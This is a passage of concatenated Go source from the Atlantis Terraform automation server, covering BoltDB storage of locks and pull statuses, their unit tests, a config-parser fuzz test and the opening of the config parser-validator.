newResults { statuses = append(statuses, b.projectResultToProject(r)) } newStatus = models.PullStatus{ Pull: pull, Projects: statuses, } } else { // If there's an existing pull at the right commit then we have to // merge our project results with the existing ones. We do a merge // because it's possible a user is just applying a single project // in this command and so we don't want to delete our data about // other projects that aren't affected by this command. newStatus = *currStatus for _, res := range newResults { // First, check if we should update any existing projects. updatedExisting := false for i := range newStatus.Projects { // NOTE: We're using a reference here because we are // in-place updating its Status field. proj := &newStatus.Projects[i] if res.Workspace == proj.Workspace && res.RepoRelDir == proj.RepoRelDir && res.ProjectName == proj.ProjectName { proj.Status = res.PlanStatus() // Updating only policy sets which are included in results; keeping the rest. if len(proj.PolicyStatus) > 0 { for i, oldPolicySet := range proj.PolicyStatus { for _, newPolicySet := range res.PolicyStatus() { if oldPolicySet.PolicySetName == newPolicySet.PolicySetName { proj.PolicyStatus[i] = newPolicySet } } } } else { proj.PolicyStatus = res.PolicyStatus() } updatedExisting = true break } } if !updatedExisting { // If we didn't update an existing project, then we need to // add this because it's a new one. newStatus.Projects = append(newStatus.Projects, b.projectResultToProject(res)) } } } // Now, we overwrite the key with our new status. return b.writePullToBucket(bucket, key, newStatus) }) if err != nil { return models.PullStatus{}, fmt.Errorf("DB transaction failed: %w", err) } return newStatus, nil } // GetPullStatus returns the status for pull. // If there is no status, returns a nil pointer. func (b *BoltDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { key, err := b.pullKey(pull) if err != nil { return nil, err } var s *models.PullStatus err = b.db.View(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.pullsBucketName) var txErr error s, txErr = b.getPullFromBucket(bucket, key) return txErr }) if err != nil { return nil, fmt.Errorf("DB transaction failed: %w", err) } return s, nil } // DeletePullStatus deletes the status for pull. func (b *BoltDB) DeletePullStatus(pull models.PullRequest) error { key, err := b.pullKey(pull) if err != nil { return err } err = b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.pullsBucketName) return bucket.Delete(key) }) if err != nil { return fmt.Errorf("DB transaction failed: %w", err) } return nil } // UpdateProjectStatus updates project status. func (b *BoltDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error { key, err := b.pullKey(pull) if err != nil { return err } err = b.db.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket(b.pullsBucketName) currStatusPtr, err := b.getPullFromBucket(bucket, key) if err != nil { return err } if currStatusPtr == nil { return nil } currStatus := *currStatusPtr // Update the status. for i := range currStatus.Projects { // NOTE: We're using a reference here because we are // in-place updating its Status field. proj := &currStatus.Projects[i] if proj.Workspace == workspace && proj.RepoRelDir == repoRelDir { proj.Status = newStatus break } } return b.writePullToBucket(bucket, key, currStatus) }) if err != nil { return fmt.Errorf("DB transaction failed: %w", err) } return nil } func (b *BoltDB) pullKey(pull models.PullRequest) ([]byte, error) { hostname := pull.BaseRepo.VCSHost.Hostname if strings.Contains(hostname, pullKeySeparator) { return nil, fmt.Errorf("vcs hostname %q contains illegal string %q", hostname, pullKeySeparator) } repo := pull.BaseRepo.FullName if strings.Contains(repo, pullKeySeparator) { return nil, fmt.Errorf("repo name %q contains illegal string %q", hostname, pullKeySeparator) } return fmt.Appendf(nil, "%s::%s::%d", hostname, repo, pull.Num), nil } func (b *BoltDB) commandLockKey(cmdName command.Name) string { return fmt.Sprintf("%s/lock", cmdName) } func (b *BoltDB) lockKey(p models.Project, workspace string) string { return models.GenerateLockKey(p, workspace) } func (b *BoltDB) getPullFromBucket(bucket *bolt.Bucket, key []byte) (*models.PullStatus, error) { serialized := bucket.Get(key) if serialized == nil { return nil, nil } var p models.PullStatus if err := json.Unmarshal(serialized, &p); err != nil { return nil, fmt.Errorf("deserializing pull at %q with contents %q: %w", key, serialized, err) } return &p, nil } func (b *BoltDB) writePullToBucket(bucket *bolt.Bucket, key []byte, pull models.PullStatus) error { serialized, err := json.Marshal(pull) if err != nil { return fmt.Errorf("serializing: %w", err) } return bucket.Put(key, serialized) } func (b *BoltDB) projectResultToProject(p command.ProjectResult) models.ProjectStatus { return models.ProjectStatus{ Workspace: p.Workspace, RepoRelDir: p.RepoRelDir, ProjectName: p.ProjectName, PolicyStatus: p.PolicyStatus(), Status: p.PlanStatus(), } } func (b *BoltDB) Close() error { return b.db.Close() } ================================================ FILE: server/core/boltdb/boltdb_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package boltdb_test import ( "encoding/json" "errors" "fmt" "os" "testing" "time" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" bolt "go.etcd.io/bbolt" ) var lockBucket = "bucket" var configBucket = "configBucket" var project = models.NewProject("owner/repo", "parent/child", "") var workspace = "default" var pullNum = 1 var lock = models.ProjectLock{ Pull: models.PullRequest{ Num: pullNum, }, User: models.User{ Username: "lkysow", }, Workspace: workspace, Project: project, Time: time.Now(), } func TestLockCommandNotSet(t *testing.T) { t.Log("retrieving apply lock when there are none should return empty LockCommand") db, b := newTestDB() defer cleanupDB(db) exists, err := b.CheckCommandLock(command.Apply) Ok(t, err) Assert(t, exists == nil, "exp nil") } func TestLockCommandEnabled(t *testing.T) { t.Log("setting the apply lock") db, b := newTestDB() defer cleanupDB(db) timeNow := time.Now() _, err := b.LockCommand(command.Apply, timeNow) Ok(t, err) config, err := b.CheckCommandLock(command.Apply) Ok(t, err) Equals(t, true, config.IsLocked()) } func TestLockCommandFail(t *testing.T) { t.Log("setting the apply lock") db, b := newTestDB() defer cleanupDB(db) timeNow := time.Now() _, err := b.LockCommand(command.Apply, timeNow) Ok(t, err) _, err = b.LockCommand(command.Apply, timeNow) ErrEquals(t, "db transaction failed: lock already exists", err) } func TestUnlockCommandDisabled(t *testing.T) { t.Log("unsetting the apply lock") db, b := newTestDB() defer cleanupDB(db) timeNow := time.Now() _, err := b.LockCommand(command.Apply, timeNow) Ok(t, err) config, err := b.CheckCommandLock(command.Apply) Ok(t, err) Equals(t, true, config.IsLocked()) err = b.UnlockCommand(command.Apply) Ok(t, err) config, err = b.CheckCommandLock(command.Apply) Ok(t, err) Assert(t, config == nil, "exp nil object") } func TestMigrationOldLockKeysToNewFormat(t *testing.T) { t.Log("migration should convert old format keys to new format with project name") // Create a temporary directory tmpDir := t.TempDir() // Create a database file manually with an old format key dbPath := tmpDir + "/atlantis.db" boltDB, err := bolt.Open(dbPath, 0600, nil) Ok(t, err) // Create buckets err = boltDB.Update(func(tx *bolt.Tx) error { if _, err := tx.CreateBucketIfNotExists([]byte("runLocks")); err != nil { return err } if _, err := tx.CreateBucketIfNotExists([]byte("pulls")); err != nil { return err } if _, err := tx.CreateBucketIfNotExists([]byte("globalLocks")); err != nil { return err } return nil }) Ok(t, err) // Create a lock in old format: {repoFullName}/{path}/{workspace} oldKey := "owner/repo/path/default" oldProject := models.NewProject("owner/repo", "path", "myproject") oldLock := models.ProjectLock{ Pull: models.PullRequest{Num: 1}, User: models.User{Username: "testuser"}, Workspace: "default", Project: oldProject, Time: time.Now(), } oldLockSerialized, err := json.Marshal(oldLock) Ok(t, err) // Insert old format lock err = boltDB.Update(func(tx *bolt.Tx) error { bucket := tx.Bucket([]byte("runLocks")) return bucket.Put([]byte(oldKey), oldLockSerialized) }) Ok(t, err) // Verify old key exists err = boltDB.View(func(tx *bolt.Tx) error { bucket := tx.Bucket([]byte("runLocks")) val := bucket.Get([]byte(oldKey)) Assert(t, val != nil, "old key should exist before migration") return nil }) Ok(t, err) // Close the database boltDB.Close() // Now open with boltdb.New which should trigger the migration b, err := boltdb.New(tmpDir) Ok(t, err) defer b.Close() // List all locks allLocks, err := b.List() Ok(t, err) Assert(t, len(allLocks) == 1, "should have 1 lock after migration") // Verify the lock can be retrieved using the GetLock method // which uses the new key format internally projectWithName := models.NewProject("owner/repo", "path", "myproject") retrievedLock, err := b.GetLock(projectWithName, "default") Ok(t, err) Assert(t, retrievedLock != nil, "lock should exist with new key format") Equals(t, "owner/repo", retrievedLock.Project.RepoFullName) Equals(t, "path", retrievedLock.Project.Path) Equals(t, "myproject", retrievedLock.Project.ProjectName) Equals(t, "default", retrievedLock.Workspace) Equals(t, "testuser", retrievedLock.User.Username) } func TestNoMigrationNeededForNewFormatKeys(t *testing.T) { t.Log("migration should not affect keys already in new format") // Create a temporary directory for the test database tmp := t.TempDir() db, err := boltdb.New(tmp) Ok(t, err) // Create a lock with the new format (includes project name) projectWithName := models.NewProject("owner/repo", "path", "projectName") newLock := models.ProjectLock{ Pull: models.PullRequest{Num: 1}, User: models.User{Username: "testuser"}, Workspace: "default", Project: projectWithName, Time: time.Now(), } // Acquire lock using the new format acquired, _, err := db.TryLock(newLock) Ok(t, err) Assert(t, acquired, "should acquire lock") // Verify the lock can be retrieved immediately after creation retrievedLock, err := db.GetLock(projectWithName, "default") Ok(t, err) Assert(t, retrievedLock != nil, "lock should exist") Equals(t, "projectName", retrievedLock.Project.ProjectName) Equals(t, "testuser", retrievedLock.User.Username) // Close and reopen the database to trigger any migration logic db.Close() db, err = boltdb.New(tmp) Ok(t, err) defer db.Close() // Verify lock still exists after reopening (no migration should have changed it) retrievedLock, err = db.GetLock(projectWithName, "default") Ok(t, err) Assert(t, retrievedLock != nil, "lock should exist after migration") Equals(t, "projectName", retrievedLock.Project.ProjectName) Equals(t, "testuser", retrievedLock.User.Username) } func TestUnlockCommandFail(t *testing.T) { t.Log("setting the apply lock") db, b := newTestDB() defer cleanupDB(db) err := b.UnlockCommand(command.Apply) ErrEquals(t, "db transaction failed: no lock exists", err) } func TestMixedLocksPresent(t *testing.T) { db, b := newTestDB() defer cleanupDB(db) timeNow := time.Now() _, err := b.LockCommand(command.Apply, timeNow) Ok(t, err) _, _, err = b.TryLock(lock) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 1, len(ls)) } func TestListNoLocks(t *testing.T) { t.Log("listing locks when there are none should return an empty list") db, b := newTestDB() defer cleanupDB(db) ls, err := b.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestListOneLock(t *testing.T) { t.Log("listing locks when there is one should return it") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 1, len(ls)) } func TestListMultipleLocks(t *testing.T) { t.Log("listing locks when there are multiple should return them") db, b := newTestDB() defer cleanupDB(db) // add multiple locks repos := []string{ "owner/repo1", "owner/repo2", "owner/repo3", "owner/repo4", } for _, r := range repos { newLock := lock newLock.Project = models.NewProject(r, "path", "") _, _, err := b.TryLock(newLock) Ok(t, err) } ls, err := b.List() Ok(t, err) Equals(t, 4, len(ls)) for _, r := range repos { found := false for _, l := range ls { if l.Project.RepoFullName == r { found = true } } Assert(t, found, "expected %s in %v", r, ls) } } func TestListAddRemove(t *testing.T) { t.Log("listing after adding and removing should return none") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) _, err = b.Unlock(project, workspace) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestLockingNoLocks(t *testing.T) { t.Log("with no locks yet, lock should succeed") db, b := newTestDB() defer cleanupDB(db) acquired, currLock, err := b.TryLock(lock) Ok(t, err) Equals(t, true, acquired) Equals(t, lock, currLock) } func TestLockingExistingLock(t *testing.T) { t.Log("if there is an existing lock, lock should...") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) t.Log("...succeed if the new project has a different path") { newLock := lock newLock.Project = models.NewProject(project.RepoFullName, "different/path", "") acquired, currLock, err := b.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, pullNum, currLock.Pull.Num) } t.Log("...succeed if the new project has a different workspace") { newLock := lock newLock.Workspace = "different-workspace" acquired, currLock, err := b.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } t.Log("...succeed if the new project has a different repoName") { newLock := lock newLock.Project = models.NewProject("different/repo", project.Path, "") acquired, currLock, err := b.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } // TODO: How should we handle different name? /* t.Log("...succeed if the new project has a different name") { newLock := lock newLock.Project = models.NewProject(project.RepoFullName, project.Path, "different-name") acquired, currLock, err := b.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } */ t.Log("...not succeed if the new project only has a different pullNum") { newLock := lock newLock.Pull.Num = lock.Pull.Num + 1 acquired, currLock, err := b.TryLock(newLock) Ok(t, err) Equals(t, false, acquired) Equals(t, currLock.Pull.Num, pullNum) } } func TestUnlockingNoLocks(t *testing.T) { t.Log("unlocking with no locks should succeed") db, b := newTestDB() defer cleanupDB(db) _, err := b.Unlock(project, workspace) Ok(t, err) } func TestUnlocking(t *testing.T) { t.Log("unlocking with an existing lock should succeed") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) _, err = b.Unlock(project, workspace) Ok(t, err) // should be no locks listed ls, err := b.List() Ok(t, err) Equals(t, 0, len(ls)) // should be able to re-lock that repo with a new pull num newLock := lock newLock.Pull.Num = lock.Pull.Num + 1 acquired, currLock, err := b.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } func TestUnlockingMultiple(t *testing.T) { t.Log("unlocking and locking multiple locks should succeed") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) new1 := lock new1.Project.RepoFullName = "new/repo" _, _, err = b.TryLock(new1) Ok(t, err) new2 := lock new2.Project.Path = "new/path" _, _, err = b.TryLock(new2) Ok(t, err) new3 := lock new3.Workspace = "new-workspace" _, _, err = b.TryLock(new3) Ok(t, err) // now try and unlock them _, err = b.Unlock(new3.Project, new3.Workspace) Ok(t, err) _, err = b.Unlock(new2.Project, workspace) Ok(t, err) _, err = b.Unlock(new1.Project, workspace) Ok(t, err) _, err = b.Unlock(project, workspace) Ok(t, err) // should be none left ls, err := b.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestUnlockByPullNone(t *testing.T) { t.Log("UnlockByPull should be successful when there are no locks") db, b := newTestDB() defer cleanupDB(db) _, err := b.UnlockByPull("any/repo", 1) Ok(t, err) } func TestUnlockByPullOne(t *testing.T) { t.Log("with one lock, UnlockByPull should...") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) t.Log("...delete nothing when its the same repo but a different pull") { _, err := b.UnlockByPull(project.RepoFullName, pullNum+1) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 1, len(ls)) } t.Log("...delete nothing when its the same pull but a different repo") { _, err := b.UnlockByPull("different/repo", pullNum) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 1, len(ls)) } t.Log("...delete the lock when its the same repo and pull") { _, err := b.UnlockByPull(project.RepoFullName, pullNum) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 0, len(ls)) } } func TestUnlockByPullAfterUnlock(t *testing.T) { t.Log("after locking and unlocking, UnlockByPull should be successful") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) _, err = b.Unlock(project, workspace) Ok(t, err) _, err = b.UnlockByPull(project.RepoFullName, pullNum) Ok(t, err) ls, err := b.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestUnlockByPullMatching(t *testing.T) { t.Log("UnlockByPull should delete all locks in that repo and pull num") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) // add additional locks with the same repo and pull num but different paths/workspaces new1 := lock new1.Project.Path = "dif/path" _, _, err = b.TryLock(new1) Ok(t, err) new2 := lock new2.Workspace = "new-workspace" _, _, err = b.TryLock(new2) Ok(t, err) // there should now be 3 ls, err := b.List() Ok(t, err) Equals(t, 3, len(ls)) // should all be unlocked _, err = b.UnlockByPull(project.RepoFullName, pullNum) Ok(t, err) ls, err = b.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestGetLockNotThere(t *testing.T) { t.Log("getting a lock that doesn't exist should return a nil pointer") db, b := newTestDB() defer cleanupDB(db) l, err := b.GetLock(project, workspace) Ok(t, err) Equals(t, (*models.ProjectLock)(nil), l) } func TestGetLock(t *testing.T) { t.Log("getting a lock should return the lock") db, b := newTestDB() defer cleanupDB(db) _, _, err := b.TryLock(lock) Ok(t, err) l, err := b.GetLock(project, workspace) Ok(t, err) // can't compare against time so doing each field Equals(t, lock.Project, l.Project) Equals(t, lock.Workspace, l.Workspace) Equals(t, lock.Pull, l.Pull) Equals(t, lock.User, l.User) } // Test we can create a status and then getCommandLock it. func TestPullStatus_UpdateGet(t *testing.T) { b := newTestDB2(t) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } status, err := b.UpdatePullWithResults( pull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }) Ok(t, err) maybeStatus, err := b.GetPullStatus(pull) Ok(t, err) Equals(t, pull, maybeStatus.Pull) // nolint: staticcheck Equals(t, []models.ProjectStatus{ { Workspace: "default", RepoRelDir: ".", ProjectName: "", Status: models.ErroredPlanStatus, }, }, status.Projects) b.Close() } // Test we can create a status, delete it, and then we shouldn't be able to getCommandLock // it. func TestPullStatus_UpdateDeleteGet(t *testing.T) { b := newTestDB2(t) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := b.UpdatePullWithResults( pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }) Ok(t, err) err = b.DeletePullStatus(pull) Ok(t, err) maybeStatus, err := b.GetPullStatus(pull) Ok(t, err) Assert(t, maybeStatus == nil, "exp nil") b.Close() } // Test we can create a status, update a specific project's status within that // pull status, and when we getCommandLock all the project statuses, that specific project // should be updated. func TestPullStatus_UpdateProject(t *testing.T) { b := newTestDB2(t) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := b.UpdatePullWithResults( pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success!", }, }, }) Ok(t, err) err = b.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus) Ok(t, err) status, err := b.GetPullStatus(pull) Ok(t, err) Equals(t, pull, status.Pull) // nolint: staticcheck Equals(t, []models.ProjectStatus{ { Workspace: "default", RepoRelDir: ".", ProjectName: "", Status: models.DiscardedPlanStatus, }, { Workspace: "staging", RepoRelDir: ".", ProjectName: "", Status: models.AppliedPlanStatus, }, }, status.Projects) // nolint: staticcheck b.Close() } // Test that if we update an existing pull status and our new status is for a // different HeadSHA, that we just overwrite the old status. func TestPullStatus_UpdateNewCommit(t *testing.T) { b := newTestDB2(t) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := b.UpdatePullWithResults( pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }) Ok(t, err) pull.HeadCommit = "newsha" status, err := b.UpdatePullWithResults(pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success!", }, }, }) Ok(t, err) Equals(t, 1, len(status.Projects)) maybeStatus, err := b.GetPullStatus(pull) Ok(t, err) Equals(t, pull, maybeStatus.Pull) Equals(t, []models.ProjectStatus{ { Workspace: "staging", RepoRelDir: ".", ProjectName: "", Status: models.AppliedPlanStatus, }, }, maybeStatus.Projects) b.Close() } // Test that if we update an existing pull status via Apply and our new status is for a // the same commit, that we merge the statuses. func TestPullStatus_UpdateMerge_Apply(t *testing.T) { b := newTestDB2(t) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := b.UpdatePullWithResults( pull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Command: command.Plan, RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Command: command.Plan, RepoRelDir: "staythesame", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "tf out", LockURL: "lock-url", RePlanCmd: "plan command", ApplyCmd: "apply command", }, }, }, }) Ok(t, err) updateStatus, err := b.UpdatePullWithResults(pull, []command.ProjectResult{ { Command: command.Apply, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "applied!", }, }, { Command: command.Apply, RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("apply error"), }, }, { Command: command.Apply, RepoRelDir: "newresult", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success!", }, }, }) Ok(t, err) getStatus, err := b.GetPullStatus(pull) Ok(t, err) // Test both the pull state returned from the update call *and* the getCommandLock // call. for _, s := range []models.PullStatus{updateStatus, *getStatus} { Equals(t, pull, s.Pull) Equals(t, []models.ProjectStatus{ { RepoRelDir: "mergeme", Workspace: "default", Status: models.AppliedPlanStatus, }, { RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", Status: models.ErroredApplyStatus, }, { RepoRelDir: "staythesame", Workspace: "default", Status: models.PlannedPlanStatus, }, { RepoRelDir: "newresult", Workspace: "default", Status: models.AppliedPlanStatus, }, }, updateStatus.Projects) } b.Close() } // Test that if we update one existing policy status via approve_policies and our new status is for a // the same commit, that we merge the statuses. func TestPullStatus_UpdateMerge_ApprovePolicies(t *testing.T) { b := newTestDB2(t) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := b.UpdatePullWithResults( pull, []command.ProjectResult{ { Command: command.PolicyCheck, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "policy failure", PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, }, }, }, }, }, { Command: command.PolicyCheck, RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "policy failure", PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, }, }, }, }, }, }) Ok(t, err) updateStatus, err := b.UpdatePullWithResults(pull, []command.ProjectResult{ { Command: command.ApprovePolicies, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, }, }, }, }, }) Ok(t, err) getStatus, err := b.GetPullStatus(pull) Ok(t, err) // Test both the pull state returned from the update call *and* the getCommandLock // call. for _, s := range []models.PullStatus{updateStatus, *getStatus} { Equals(t, pull, s.Pull) Equals(t, []models.ProjectStatus{ { RepoRelDir: "mergeme", Workspace: "default", Status: models.PassedPolicyCheckStatus, PolicyStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 1, }, }, }, { RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", Status: models.ErroredPolicyCheckStatus, PolicyStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 0, }, }, }, }, updateStatus.Projects) } b.Close() } // newTestDB returns a TestDB using a temporary path. func newTestDB() (*bolt.DB, *boltdb.BoltDB) { // Retrieve a temporary path. f, err := os.CreateTemp("", "") if err != nil { panic(fmt.Errorf("failed to create temp file: %w", err)) } path := f.Name() f.Close() // nolint: errcheck // Open the database. boltDB, err := bolt.Open(path, 0600, nil) if err != nil { panic(fmt.Errorf("could not start bolt DB: %w", err)) } if err := boltDB.Update(func(tx *bolt.Tx) error { if _, err := tx.CreateBucketIfNotExists([]byte(lockBucket)); err != nil { return fmt.Errorf("failed to create bucket: %w", err) } if _, err := tx.CreateBucketIfNotExists([]byte(configBucket)); err != nil { return fmt.Errorf("failed to create bucket: %w", err) } return nil }); err != nil { panic(fmt.Errorf("could not create bucket: %w", err)) } b, _ := boltdb.NewWithDB(boltDB, lockBucket, configBucket) return boltDB, b } func newTestDB2(t *testing.T) *boltdb.BoltDB { tmp := t.TempDir() boltDB, err := boltdb.New(tmp) Ok(t, err) return boltDB } func cleanupDB(db *bolt.DB) { db.Close() // nolint: errcheck os.Remove(db.Path()) // nolint: errcheck } ================================================ FILE: server/core/config/cfgfuzz/fuzz_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package cfgfuzz contains fuzz tests for the Atlantis config parser. // It lives in a dedicated subdirectory so that compile_native_go_fuzzer // only needs to compile this package and its direct imports, avoiding // the test-only imports in the parent package (e.g. parser_validator_test.go). package cfgfuzz import ( "testing" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/valid" ) func FuzzParseRepoCfgData(f *testing.F) { f.Add([]byte(`version: 3 projects: - dir: . `)) f.Add([]byte(`version: 3 automerge: true projects: - dir: . workspace: default autoplan: when_modified: ["*.tf"] enabled: true `)) pv := config.ParserValidator{} globalCfg := valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{AllowAllRepoSettings: true}) f.Fuzz(func(t *testing.T, data []byte) { _, _ = pv.ParseRepoCfgData(data, globalCfg, "github.com/test/repo", "main") }) } ================================================ FILE: server/core/config/parser_validator.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package config import ( "bytes" "encoding/json" "errors" "fmt" "io" "os" "path/filepath" "strings" "github.com/bmatcuk/doublestar/v4" validation "github.com/go-ozzo/ozzo-validation" shlex "github.com/google/shlex" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" yaml "gopkg.in/yaml.v3" ) // ParserValidator parses and validates server-side repo config files and // repo-level atlantis.yaml files. type ParserValidator struct{} // HasRepoCfg returns true if there is a repo config (atlantis.yaml) file // for the repo at absRepoDir. // Returns an error if for some reason it can't read that directory. func (p *ParserValidator) HasRepoCfg(absRepoDir, repoConfigFile string) (bool, error) { // Checks for a config file with an invalid extension (atlantis.yml) const invalidExtensionFilename = "atlantis.yml" _, err := os.Stat(p.repoCfgPath(absRepoDir, invalidExtensionFilename)) if err == nil { return false, fmt.Errorf("found %q as config file; rename using the .yaml extension", invalidExtensionFilename) } _, err = os.Stat(p.repoCfgPath(absRepoDir, repoConfigFile)) if errors.Is(err, os.ErrNotExist) { return false, nil } return err == nil, err } // ParseRepoCfg returns the parsed and validated atlantis.yaml config for the // repo at absRepoDir. // If there was no config file, it will return an os.IsNotExist(error). func (p *ParserValidator) ParseRepoCfg(absRepoDir string, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) { repoConfigFile := globalCfg.RepoConfigFile(repoID) configFile := p.repoCfgPath(absRepoDir, repoConfigFile) configData, err := os.ReadFile(configFile) // nolint: gosec if err != nil { return valid.RepoCfg{}, fmt.Errorf("unable to read %s file: 